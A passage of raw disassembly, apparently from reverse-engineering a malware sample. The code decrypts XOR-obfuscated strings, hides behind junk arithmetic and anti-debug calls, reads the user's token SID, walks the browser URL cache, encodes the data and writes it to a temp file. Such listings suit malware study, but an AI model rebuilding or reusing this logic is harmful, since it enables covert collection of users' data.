loc_405062: ; CODE XREF: sub_404EC6+155j
mov eax, [ebp+var_10]
cmp [ebp+nSubAuthority], eax
jb short loc_40501D
pop edi
pop esi
pop ebx
leave
retn
sub_404EC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40506F(LPSTR)
sub_40506F proc near ; CODE XREF: sub_405E88+239p
var_19 = byte ptr -19h
ReturnLength = dword ptr -14h
var_10 = byte ptr -10h
var_B = byte ptr -0Bh
dwProcessId = dword ptr -8
hObject = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
lea edi, [ebp+var_B]
lea esi, word_44228A
mov ecx, 3
rep movsb
call GetCurrentProcessId ; GetCurrentProcessId
mov [ebp+dwProcessId], eax
lea edi, [ebp+var_10]
lea esi, byte_44228D
mov ecx, 5
rep movsb
push [ebp+dwProcessId] ; dwProcessId
push 0 ; bInheritHandle
push 1F0FFFh ; dwDesiredAccess
call OpenProcess ; OpenProcess
mov ebx, eax
call GetVersion ; GetVersion
lea eax, [ebp+hObject]
push eax ; TokenHandle
push 0F00FFh ; DesiredAccess
push ebx ; ProcessHandle
call OpenProcessToken ; OpenProcessToken
call GetCurrentProcessId ; GetCurrentProcessId
push ebx ; hObject
call CloseHandle ; CloseHandle
mov eax, dword_442278
add eax, 3FF4h
push eax ; uBytes
push 40h ; uFlags
call LocalAlloc ; LocalAlloc
mov ebx, eax
lea eax, [ebp+ReturnLength]
push eax ; ReturnLength
mov eax, dword_442278
add eax, 3FF4h
push eax ; TokenInformationLength
push ebx ; TokenInformation
push 1 ; TokenInformationClass
push [ebp+hObject] ; TokenHandle
call GetTokenInformation ; GetTokenInformation
call GetVersion ; GetVersion
push [ebp+arg_0] ; LPSTR
push dword ptr [ebx] ; pSid
call sub_404EC6
add esp, 8
push ebx ; hMem
call LocalFree ; LocalFree
call IsDebuggerPresent ; IsDebuggerPresent
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
lea edi, [ebp+var_19]
lea esi, word_442292
mov ecx, 5
rep movsb
pop edi
pop esi
pop ebx
leave
retn
sub_40506F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_405138(void *Src, size_t Size)
sub_405138 proc near ; CODE XREF: sub_40523D+52p
; sub_40523D+BDp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push esi
push edi
mov esi, [ebp+Size]
push esi ; Size
push [ebp+Src] ; Src
mov eax, dword_4422A0
lea eax, ds:4197B0h[eax]
push eax ; Dst
call memcpy ; memcpy
add esp, 0Ch
xor edi, edi
jmp short loc_405176
; ---------------------------------------------------------------------------
loc_40515F: ; CODE XREF: sub_405138+40j
mov eax, dword_4422A0
add eax, edi
lea eax, ds:4197B0h[eax]
movsx edx, byte ptr [eax]
xor edx, 3Ch
mov [eax], dl
inc edi
loc_405176: ; CODE XREF: sub_405138+25j
cmp edi, esi
jl short loc_40515F
mov [ebp+var_4], 365h
mov eax, dword_4422A0
add eax, esi
mov byte ptr dword_4197B0[eax], 0
xor edi, edi
mov edi, dword_4422A0
mov eax, edi
add eax, 2
add eax, esi
mov dword_4422A0, eax
cmp eax, 0DDFh
jle short loc_4051B2
and dword_4422A0, 0
loc_4051B2: ; CODE XREF: sub_405138+71j
mov [ebp+var_8], 0E8h
lea eax, dword_4197B0[edi]
pop edi
pop esi
leave
retn
sub_405138 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4051C3(LPCSTR lpFileName, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite)
sub_4051C3 proc near ; CODE XREF: sub_4061F7+526p
; sub_4061F7+543p
NumberOfBytesWritten= dword ptr -4
lpFileName = dword ptr 8
lpBuffer = dword ptr 0Ch
nNumberOfBytesToWrite= dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push edi
call GetCurrentThreadId ; GetCurrentThreadId
push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push [ebp+lpFileName] ; lpFileName
call CreateFileA ; CreateFileA
mov edi, eax
call GetVersion ; GetVersion
cmp edi, 0FFFFFFFFh
jnz short loc_4051F8
xor eax, eax
jmp short loc_405239
; ---------------------------------------------------------------------------
loc_4051F8: ; CODE XREF: sub_4051C3+2Fj
mov esi, 3356h
sub esi, 0F1Dh
push 2 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push edi ; hFile
call SetFilePointer ; SetFilePointer
call GetVersion ; GetVersion
push 0 ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
push edi ; hFile
call WriteFile ; WriteFile
call GetCurrentThreadId ; GetCurrentThreadId
push edi ; hObject
call CloseHandle ; CloseHandle
call GetCurrentThreadId ; GetCurrentThreadId
xor eax, eax
inc eax
loc_405239: ; CODE XREF: sub_4051C3+33j
pop edi
pop esi
leave
retn
sub_4051C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40523D proc near ; CODE XREF: sub_4061F7+46Fp
var_2F5B = byte ptr -2F5Bh
var_2F58 = dword ptr -2F58h
var_2F53 = byte ptr -2F53h
var_2F52 = byte ptr -2F52h
var_2F4A = word ptr -2F4Ah
var_2F48 = byte ptr -2F48h
var_2F47 = byte ptr -2F47h
var_2F46 = word ptr -2F46h
Str2 = byte ptr -2F43h
var_1F44 = dword ptr -1F44h
var_1F40 = byte ptr -1F40h
Str1 = dword ptr -1F3Ch
var_1F38 = dword ptr -1F38h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2F5Ch
call sub_40C6B8
push ebx
push esi
loc_40524C: ; DATA XREF: sub_440531r
push edi
mov [ebp+var_2F46], 7B0Ch ; DATA XREF: sub_44053Dr
; sub_440549r
inc [ebp+var_2F46] ; DATA XREF: sub_440555r sub_440561r
lea edi, [ebp+var_2F52] ; DATA XREF: sub_44056Dr
lea esi, dword_4422A8 ; DATA XREF: sub_440579r sub_440585r
movsd
movsd
push [ebp+arg_0] ; DATA XREF: sub_440591r
lea eax, [ebp+Str2] ; DATA XREF: sub_44059Dr
loc_405274: ; DATA XREF: sub_4405A9r
push eax
call sub_40C6D8 ; DATA XREF: sub_4405B5r
mov [ebp+var_2F47], 33h ; DATA XREF: sub_4405C1r
; sub_4405CDr
add [ebp+var_2F47], 1 ; DATA XREF: sub_4405D9r
push 1 ; Size
push offset byte_447387 ; Src
call sub_405138 ; DATA XREF: sub_4405E5r
mov edi, 12h
sub edi, dword_44229C ; DATA XREF: sub_4405F1r
push edi
push eax
lea edi, [ebp+Str2]
push edi
loc_4052A8: ; DATA XREF: sub_4406ADr sub_4406B9r
call sub_40181A
add esp, 14h
loc_4052B0: ; DATA XREF: sub_4406C5r
mov edi, eax
mov [ebp+var_2F4A], di ; DATA XREF: sub_4406D1r
; sub_4406DDr
movzx eax, [ebp+var_2F4A] ; DATA XREF: sub_4406E9r
loc_4052C0: ; DATA XREF: sub_4406F5r sub_440701r
cmp eax, 0FFFFh
jz short loc_4052D6
movzx eax, [ebp+var_2F4A] ; DATA XREF: sub_44070Dr
; sub_440719r
mov [ebp+eax+Str2], 0 ; DATA XREF: sub_440725r sub_440731r
loc_4052D6: ; CODE XREF: sub_40523D+88j
; DATA XREF: sub_44073Dr ...
mov [ebp+var_2F48], 22h
add [ebp+var_2F48], 90h ; DATA XREF: sub_440755r
loc_4052E4: ; DATA XREF: sub_440761r sub_44076Dr ...
mov [ebp+var_1F44], 1F40h
call GetLastError ; DATA XREF: sub_440785r
push 3 ; DATA XREF: sub_440791r
; Size
push offset byte_447383 ; DATA XREF: sub_44079Dr
; Src
call sub_405138
add esp, 8
lea edi, [ebp+var_1F44] ; DATA XREF: sub_4407A9r
loc_405308: ; DATA XREF: sub_4407B5r
push edi
lea edi, [ebp+var_1F40] ; DATA XREF: sub_4407C1r
push edi
loc_405310: ; DATA XREF: sub_4407CDr
push eax
call FindFirstUrlCacheEntryA ; DATA XREF: sub_4407D9r
mov ebx, eax
loc_405318: ; DATA XREF: sub_4407E5r
or eax, eax
jz loc_4053F9 ; DATA XREF: sub_4407F1r
loc_405320: ; DATA XREF: sub_4407FDr sub_440809r
lea eax, [ebp+Str2]
push eax ; Str2
push [ebp+Str1] ; Str1
call _stricmp ; DATA XREF: sub_440815r
add esp, 8 ; DATA XREF: sub_440821r
or eax, eax
jnz short loc_40536B ; DATA XREF: sub_44082Dr
mov [ebp+var_2F53], 0CEh ; DATA XREF: sub_440839r
loc_405340: ; DATA XREF: sub_440845r sub_440851r
sub [ebp+var_2F53], 68h
push [ebp+var_1F38] ; DATA XREF: sub_44085Dr sub_440869r
push [ebp+arg_4]
loc_405350: ; DATA XREF: sub_440875r sub_440881r
call sub_40C6D8
lea edi, [ebp+var_2F5B] ; DATA XREF: sub_44088Dr
lea esi, dword_4422B0
movsd
movsd
xor eax, eax ; DATA XREF: sub_440899r
inc eax
jmp loc_4053F9 ; DATA XREF: sub_4408A5r
; ---------------------------------------------------------------------------
loc_40536B: ; CODE XREF: sub_40523D+FAj
; sub_40523D:loc_4053F2j
; DATA XREF: ...
mov [ebp+var_2F53], 1Dh
movzx eax, [ebp+var_2F53] ; DATA XREF: sub_4408C9r
; sub_4408D5r
imul eax, 42B9h ; DATA XREF: sub_4408E1r
mov [ebp+var_2F53], al ; DATA XREF: sub_4408EDr
; sub_4408F9r
mov [ebp+var_1F44], 1F40h ; DATA XREF: sub_440905r
; sub_440911r
lea eax, [ebp+var_1F44] ; DATA XREF: sub_44091Dr
; sub_440929r
push eax
lea eax, [ebp+var_1F40] ; DATA XREF: sub_440935r
push eax
push ebx
call FindNextUrlCacheEntryA ; FindNextUrlCacheEntryA
or eax, eax
jz short loc_4053F7
call IsDebuggerPresent ; IsDebuggerPresent
lea eax, [ebp+Str2]
push eax ; Str2
push [ebp+Str1] ; Str1
call _stricmp ; _stricmp
add esp, 8
or eax, eax
jnz short loc_4053F2
mov [ebp+var_2F58], 6518h
mov eax, [ebp+var_2F58]
mov edx, eax
add edx, eax
mov [ebp+var_2F58], edx
push [ebp+var_1F38]
push [ebp+arg_4]
call sub_40C6D8
xor eax, eax
inc eax
jmp short loc_4053F9
; ---------------------------------------------------------------------------
loc_4053F2: ; CODE XREF: sub_40523D+186j
jmp loc_40536B
; ---------------------------------------------------------------------------
loc_4053F7: ; CODE XREF: sub_40523D+168j
xor eax, eax
loc_4053F9: ; CODE XREF: sub_40523D+DDj
; sub_40523D+129j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40523D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4053FE(LPCSTR lpString)
sub_4053FE proc near ; CODE XREF: sub_4054C8+602p
var_14 = dword ptr -14h
Format = dword ptr -10h
Dest = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = word ptr -2
lpString = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov ebx, [ebp+lpString]
call IsDebuggerPresent ; IsDebuggerPresent
push ebx ; lpString
call lstrlenA ; lstrlenA
mov [ebp+var_8], eax
call GetTickCount ; GetTickCount
mov edi, [ebp+var_8]
shl edi, 1
add edi, 8
push edi ; uBytes
push 40h ; uFlags
call LocalAlloc ; LocalAlloc
mov [ebp+Dest], eax
call GetProcessHeap ; GetProcessHeap
xor esi, esi
jmp short loc_40544F
; ---------------------------------------------------------------------------
loc_405439: ; CODE XREF: sub_4053FE+54j
movzx eax, byte ptr [ebx+esi]
xor eax, 71h
or eax, eax
jz short loc_40544E
movzx eax, byte ptr [ebx+esi]
xor eax, 71h
mov [ebx+esi], al
loc_40544E: ; CODE XREF: sub_4053FE+44j
inc esi
loc_40544F: ; CODE XREF: sub_4053FE+39j
cmp esi, [ebp+var_8]
jb short loc_405439
mov [ebp+var_2], 0
jmp short loc_4054B2
; ---------------------------------------------------------------------------
loc_40545C: ; CODE XREF: sub_4053FE+BBj
push 6 ; Size
push offset dword_44737C ; Src
call sub_405138
mov [ebp+Format], eax
movzx edi, [ebp+var_2]
movzx edi, byte ptr [ebx+edi]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov esi, edx
add esi, 61h
push esi
mov eax, edi
mov ecx, 1Ah
mov edx, 4EC4EC4Fh
mul edx
shr edx, 3
mov [ebp+var_14], edx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+Dest]
push edi
mov esi, [ebp+Format]
push esi ; Format
push edi ; Dest
call sprintf ; sprintf
add esp, 1Ch
inc [ebp+var_2]
loc_4054B2: ; CODE XREF: sub_4053FE+5Cj
movzx eax, [ebp+var_2]
cmp eax, [ebp+var_8]
jb short loc_40545C
call GetTickCount ; GetTickCount
mov eax, [ebp+Dest]
pop edi
pop esi
pop ebx
leave
retn
sub_4053FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4054C8(LPSTR lpFileName, int, int, LPCSTR lpString, int, int, int, int)
sub_4054C8 proc near ; CODE XREF: sub_4061F7+199p
var_300A1 = byte ptr -300A1h
var_300A0 = dword ptr -300A0h
var_3009C = dword ptr -3009Ch
var_30096 = word ptr -30096h
var_30094 = dword ptr -30094h
var_3008D = byte ptr -3008Dh
var_3008C = dword ptr -3008Ch
var_30088 = dword ptr -30088h
Format = dword ptr -30084h
var_30080 = dword ptr -30080h
var_3007C = dword ptr -3007Ch
var_30078 = dword ptr -30078h
var_30071 = byte ptr -30071h
var_3006E = word ptr -3006Eh
var_3006C = byte ptr -3006Ch
var_30067 = byte ptr -30067h
var_30064 = byte ptr -30064h
var_3005F = dword ptr -3005Fh
var_3005B = byte ptr -3005Bh
var_30058 = dword ptr -30058h
var_30054 = byte ptr -30054h
var_30051 = byte ptr -30051h
var_3004A = word ptr -3004Ah
var_30048 = dword ptr -30048h
var_30044 = word ptr -30044h
var_30041 = byte ptr -30041h
var_30040 = byte ptr -30040h
var_3003F = byte ptr -3003Fh
var_30035 = byte ptr -30035h
var_30034 = dword ptr -30034h
var_30030 = dword ptr -30030h
var_3002C = byte ptr -3002Ch
var_3002B = byte ptr -3002Bh
var_30021 = byte ptr -30021h
hObject = dword ptr -30020h
var_3001C = dword ptr -3001Ch
var_30018 = word ptr -30018h
var_30016 = word ptr -30016h
var_30014 = dword ptr -30014h
hMem = dword ptr -30010h
String = byte ptr -3000Ch
NumberOfBytesWritten= dword ptr -2000Ch
Dest = dword ptr -20008h
Source = byte ptr -20003h
var_10004 = dword ptr -10004h
Dst = byte ptr -10000h
lpFileName = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
lpString = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 300A4h
call sub_40C6B8
push ebx
push esi
push edi
mov [ebp+var_30016], 316Dh
movzx eax, [ebp+var_30016]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_30016], ax
and [ebp+var_3001C], 0
call GetCurrentThreadId ; GetCurrentThreadId
and [ebp+NumberOfBytesWritten], 0
and [ebp+var_30014], 0
lea eax, [ebp+var_10004]
push eax ; int
push [ebp+arg_4] ; lpFileName
call sub_401A7E
add esp, 8
mov ebx, eax
mov ax, word_4422B8
mov [ebp+var_3004A], ax
mov eax, [ebp+var_10004]
or eax, eax
jz short loc_405543
or ebx, ebx
jz short loc_405543
cmp [ebp+arg_14], eax
jb short loc_405571
loc_405543: ; CODE XREF: sub_4054C8+70j
; sub_4054C8+74j
mov byte ptr [ebp+var_30078+3], 6Fh
add byte ptr [ebp+var_30078+3], 1
push ebx ; hMem
call LocalFree ; LocalFree
mov word ptr [ebp+var_30078], 52A5h
inc word ptr [ebp+var_30078]
mov [ebp+var_3001C], 1
loc_405571: ; CODE XREF: sub_4054C8+79j
push [ebp+lpString] ; lpString
call lstrlenA ; lstrlenA
mov [ebp+var_30078], eax
mov eax, 64h
mul [ebp+var_10004]
mov [ebp+var_3007C], eax
mov edi, [ebp+var_30078]
imul edi, [ebp+var_30078], 32h
mov esi, [ebp+var_3007C]
lea edi, [esi+edi+1000h]
push edi ; uBytes
push 40h ; uFlags
call LocalAlloc ; LocalAlloc
mov [ebp+Dest], eax
call GetCurrentProcessId ; GetCurrentProcessId
lea edi, [ebp+var_30051]
lea esi, word_4422BA
mov ecx, 7
rep movsb
lea edi, [ebp+var_30054]
lea esi, byte_4422C1
mov ecx, 3
rep movsb
push [ebp+lpFileName] ; lpBuffer
push 104h ; nBufferLength
call GetTempPathA ; GetTempPathA
call GetProcessHeap ; GetProcessHeap
mov eax, [ebp+lpFileName]
mov [ebp+var_30080], eax
mov ecx, eax
or eax, 0FFFFFFFFh
loc_405603: ; CODE XREF: sub_4054C8+140j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_405603
mov edi, eax
mov esi, 19h
sub esi, dword_44229C
push esi
mov esi, [ebp+var_30080]
add esi, edi
push esi
call sub_40172F
add esp, 8
call GetVersion ; GetVersion
push 4 ; Size
push offset byte_447377 ; Src
call sub_405138
add esp, 8
push eax ; Source
push [ebp+lpFileName] ; Dest
call strcat ; strcat
add esp, 8
mov eax, dword_4422C4
mov [ebp+var_30058], eax
push 6 ; Size
push offset dword_447370 ; Src
call sub_405138
add esp, 8
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
lea edi, [ebp+var_3005B]
lea esi, byte_4422C8
mov ecx, 3
rep movsb
push 6 ; Size
push offset byte_447369 ; Src
call sub_405138
add esp, 8
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
mov eax, dword_4422CB
mov [ebp+var_3005F], eax
push 13h ; Size
push offset byte_447355 ; Src
call sub_405138
add esp, 8
push [ebp+arg_1C]
push offset word_447346
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
add esp, 10h
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
push 7 ; Size
push offset word_44733E ; Src
call sub_405138
add esp, 8
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
mov [ebp+var_30021], 51h
sub [ebp+var_30021], 7Ch
push 6 ; Size
push offset byte_447337 ; Src
call sub_405138
add esp, 8
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
call GetTickCount ; GetTickCount
lea edi, [ebp+var_30064]
lea esi, a70cg ; "70cg"
mov ecx, 5
rep movsb
push 5 ; Size
push offset byte_447331 ; Src
call sub_405138
add esp, 8
mov [ebp+Format], eax
call rand ; rand
mov ecx, 3E8h
cdq
idiv ecx
push edx
mov edi, [ebp+Format]
push [ebp+Format] ; Format
lea edi, [ebp+var_3002B]
push edi ; Dest
call sprintf ; sprintf
add esp, 0Ch
call IsDebuggerPresent ; IsDebuggerPresent
push 2Ah ; Size
push offset word_447306 ; Src
call sub_405138
add esp, 8
lea edi, [ebp+var_3002B]
push edi
push [ebp+arg_8]
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
add esp, 10h
call GetTickCount ; GetTickCount
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
mov [ebp+var_3002C], 0CAh
movzx eax, [ebp+var_3002C]
imul eax, 1107h
mov [ebp+var_3002C], al
push 2Dh ; Size
push offset dword_4472D8 ; Src
call sub_405138
add esp, 8
mov [ebp+var_30088], eax
call rand ; rand
mov ecx, 9
cdq
idiv ecx
mov edi, edx
add edi, 14h
push edi
mov edi, [ebp+var_30088]
push [ebp+var_30088] ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
add esp, 0Ch
call IsDebuggerPresent ; IsDebuggerPresent
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
mov [ebp+var_30030], 7FDh
add [ebp+var_30030], 38E3h
cmp [ebp+var_3001C], 0
jnz loc_405B6E
call GetCurrentProcessId ; GetCurrentProcessId
cmp [ebp+arg_18], 0
jz loc_4059C5
lea edi, [ebp+var_3008D]
lea esi, byte_4422D4
xor ecx, ecx
inc ecx
rep movsb
and [ebp+var_3008C], 0
jmp loc_4059A8
; ---------------------------------------------------------------------------
loc_405896: ; CODE XREF: sub_4054C8+4ECj
call IsDebuggerPresent ; IsDebuggerPresent
mov [ebp+Dst], 0
mov ax, word_4422D5
mov [ebp+var_30096], ax
and [ebp+var_30094], 0
jmp loc_40594A
; ---------------------------------------------------------------------------
loc_4058BB: ; CODE XREF: sub_4054C8+48Cj
call GetCurrentProcessId ; GetCurrentProcessId
mov eax, [ebp+var_3008C]
add eax, [ebp+var_30094]
cmp eax, [ebp+var_10004]
jnb loc_40595A
push 6 ; Size
push offset dword_44737C ; Src
call sub_405138
mov [ebp+var_3009C], eax
mov edi, [ebp+var_3008C]
add edi, [ebp+var_30094]
movzx edi, byte ptr [ebx+edi]
mov eax, edi
mov ecx, 1Ah
cdq
idiv ecx
mov esi, edx
add esi, 61h
push esi
mov eax, edi
mov ecx, 1Ah
mov edx, 4EC4EC4Fh
mul edx
shr edx, 3
mov [ebp+var_300A0], edx
mov edi, edx
add edi, 61h
push edi
lea edi, [ebp+Dst]
push edi
mov edi, [ebp+var_3009C]
push edi ; Format
lea edi, [ebp+Dst]
push edi ; Dest
call sprintf ; sprintf
add esp, 1Ch
inc [ebp+var_30094]
loc_40594A: ; CODE XREF: sub_4054C8+3EEj
cmp [ebp+var_30094], 80h
jb loc_4058BB
loc_40595A: ; CODE XREF: sub_4054C8+40Aj
push 30h ; Size
push offset byte_4472A7 ; Src
call sub_405138
push [ebp+NumberOfBytesWritten]
push [ebp+arg_10]
lea edi, [ebp+Dst]
push edi
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 24h
add [ebp+var_3008C], 80h
inc [ebp+NumberOfBytesWritten]
loc_4059A8: ; CODE XREF: sub_4054C8+3C9j
mov eax, [ebp+var_10004]
cmp [ebp+var_3008C], eax
jb loc_405896
mov [ebp+var_30014], eax
jmp loc_405B6E
; ---------------------------------------------------------------------------
loc_4059C5: ; CODE XREF: sub_4054C8+3ABj
call IsDebuggerPresent ; IsDebuggerPresent
mov eax, [ebp+arg_14]
mov [ebp+var_10004], eax
jmp loc_405B4A
; ---------------------------------------------------------------------------
loc_4059D8: ; CODE XREF: sub_4054C8+6A0j
call GetCurrentProcessId ; GetCurrentProcessId
cmp [ebp+Dst], 0
jz loc_405B4A
mov byte ptr [ebp+var_3008C+2], 9Fh
sub byte ptr [ebp+var_3008C+2], 36h
mov eax, [ebp+arg_14]
add eax, 0C800h
cmp [ebp+var_10004], eax
jnb loc_405B6E
lea edi, [ebp+var_3009C+3]
lea esi, byte_4422D7
mov ecx, 7
rep movsb
mov eax, [ebp+var_10004]
mov [ebp+var_30014], eax
push 3 ; Size
push offset off_4472A3 ; Src
call sub_405138
push [ebp+lpString]
push eax ; Format
lea edi, [ebp+String]
push edi ; Dest
call sprintf ; sprintf
add esp, 14h
lea edi, [ebp+var_300A1]
lea esi, word_4422DE
movsd
movsd
lea ecx, [ebp+String]
or eax, 0FFFFFFFFh
loc_405A61: ; CODE XREF: sub_4054C8+59Ej
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_405A61
mov edi, eax
mov word ptr [ebp+var_30094+2], di
mov word ptr [ebp+var_3008C], 45ACh
movzx eax, word ptr [ebp+var_3008C]
imul eax, 6B72h
mov word ptr [ebp+var_3008C], ax
lea eax, [ebp+Dst]
push eax
movzx eax, word ptr [ebp+var_30094+2]
lea eax, [ebp+eax+String]
push eax
call sub_40C6D8
mov byte ptr [ebp+var_3008C+3], 0DBh
movzx eax, byte ptr [ebp+var_3008C+3]
mov edx, eax
add edx, eax
mov eax, edx
mov byte ptr [ebp+var_3008C+3], al
lea eax, [ebp+String]
push eax ; lpString
call sub_4053FE
add esp, 4
mov [ebp+hMem], eax
push 30h ; Size
push offset byte_4472A7 ; Src
call sub_405138
add esp, 8
push [ebp+NumberOfBytesWritten]
push [ebp+arg_10]
push [ebp+hMem]
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
add esp, 14h
call GetCurrentThreadId ; GetCurrentThreadId
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
add esp, 8
mov dword ptr [ebp-30090h], 472Eh
add dword ptr [ebp-30090h], 7A98h
push [ebp+hMem] ; hMem
call LocalFree ; LocalFree
call GetProcessHeap ; GetProcessHeap
inc [ebp+NumberOfBytesWritten]
loc_405B4A: ; CODE XREF: sub_4054C8+50Bj
; sub_4054C8+51Cj
lea eax, [ebp+Dst]
push eax ; Dst
push [ebp+var_10004] ; int
push ebx ; int
call sub_401BB7
add esp, 0Ch
mov [ebp+var_10004], eax
or eax, eax
jnz loc_4059D8
loc_405B6E: ; CODE XREF: sub_4054C8+39Cj
; sub_4054C8+4F8j ...
push 1Eh ; Size
push offset dword_447284 ; Src
call sub_405138
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
mov [ebp+var_30034], 2A8Eh
add [ebp+var_30034], 6CB3h
push 7 ; Size
push offset dword_44727C ; Src
call sub_405138
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
call GetVersion ; GetVersion
push 8 ; Size
push offset byte_447273 ; Src
call sub_405138
push eax ; Source
push [ebp+Dest] ; Dest
call sub_404529
mov [ebp+var_30035], 15h
add [ebp+var_30035], 2Fh
lea edi, [ebp+var_30067]
lea esi, word_4422E6
mov ecx, 3
rep movsb
push 6 ; Size
push offset dword_44726C ; Src
call sub_405138
mov [ebp+var_3008C], eax
call rand ; rand
mov [ebp-30090h], eax
call rand ; rand
mov ecx, 63h
cdq
idiv ecx
push edx
mov edi, [ebp-30090h]
mov eax, edi
mov ecx, 14h
cdq
idiv ecx
mov edi, edx
add edi, 61h
push edi
mov edi, [ebp+var_3008C]
push edi ; Format
lea edi, [ebp+var_3003F]
push edi ; Dest
call sprintf ; sprintf
mov [ebp+var_30018], 0F6Ah
movzx eax, [ebp+var_30018]
mov edx, eax
add edx, eax
mov eax, edx
mov [ebp+var_30018], ax
push 0Eh ; Size
push offset byte_44725D ; Src
call sub_405138
lea edi, [ebp+var_3003F]
push edi
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_404529
mov [ebp+var_30040], 95h
add [ebp+var_30040], 1
push 15h ; Size
push offset byte_447247 ; Src
call sub_405138
lea edi, [ebp+var_3002B]
push edi
push eax ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
lea edi, [ebp+var_3006C]
lea esi, byte_4422E9
mov ecx, 5
rep movsb
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_404529
call GetCurrentThreadId ; GetCurrentThreadId
push 1 ; Size
push offset byte_447245 ; Src
call sub_405138
push eax ; Source
push [ebp+Dest] ; Dest
call sub_404529
mov ax, word_4422EE
mov [ebp+var_3006E], ax
push 16h ; Size
push offset word_44722E ; Src
call sub_405138
mov [ebp+var_30094], eax
call rand ; rand
mov ecx, 3E8h
cdq
idiv ecx
mov edi, edx
add edi, 2710h
push edi
lea edi, [ebp+var_3003F]
push edi
mov edi, [ebp+var_30094]
push edi ; Format
lea edi, [ebp+Source]
push edi ; Dest
call sprintf ; sprintf
call GetLastError
lea eax, [ebp+Source]
push eax ; Source
push [ebp+Dest] ; Dest
call sub_404529
mov [ebp+var_30041], 97h
add [ebp+var_30041], 3Eh
push 9 ; Size
push offset dword_447224 ; Src
call sub_405138
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
lea edi, [ebp+var_30071]
lea esi, byte_4422F0
mov ecx, 3
rep movsb
push 7 ; Size
push offset dword_44721C ; Src
call sub_405138
push eax ; Source
push [ebp+Dest] ; Dest
call sub_40481B
call GetCurrentThreadId ; GetCurrentThreadId
push 7 ; Size
push offset dword_447214 ; Src
call sub_405138
push eax ; Source
push [ebp+Dest] ; Dest
call strcat ; strcat
call GetTickCount ; GetTickCount
push [ebp+lpFileName]
call sub_40341E
add esp, 0E4h
mov [ebp+var_30044], 4FFDh
inc [ebp+var_30044]
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 2 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
push [ebp+lpFileName] ; lpFileName
call CreateFileA ; CreateFileA
mov [ebp+hObject], eax
mov [ebp+var_30048], 473Dh
add [ebp+var_30048], 10D3h
push [ebp+Dest] ; lpString
call lstrlenA ; lstrlenA
push 0 ; lpOverlapped
lea edi, [ebp+NumberOfBytesWritten]
push edi ; lpNumberOfBytesWritten
push eax ; nNumberOfBytesToWrite
push [ebp+Dest] ; lpBuffer
push [ebp+hObject] ; hFile
call WriteFile ; WriteFile
push [ebp+hObject] ; hObject
call CloseHandle ; CloseHandle
push [ebp+Dest] ; hMem
call LocalFree ; LocalFree
cmp [ebp+var_3001C], 0
jnz short loc_405E78
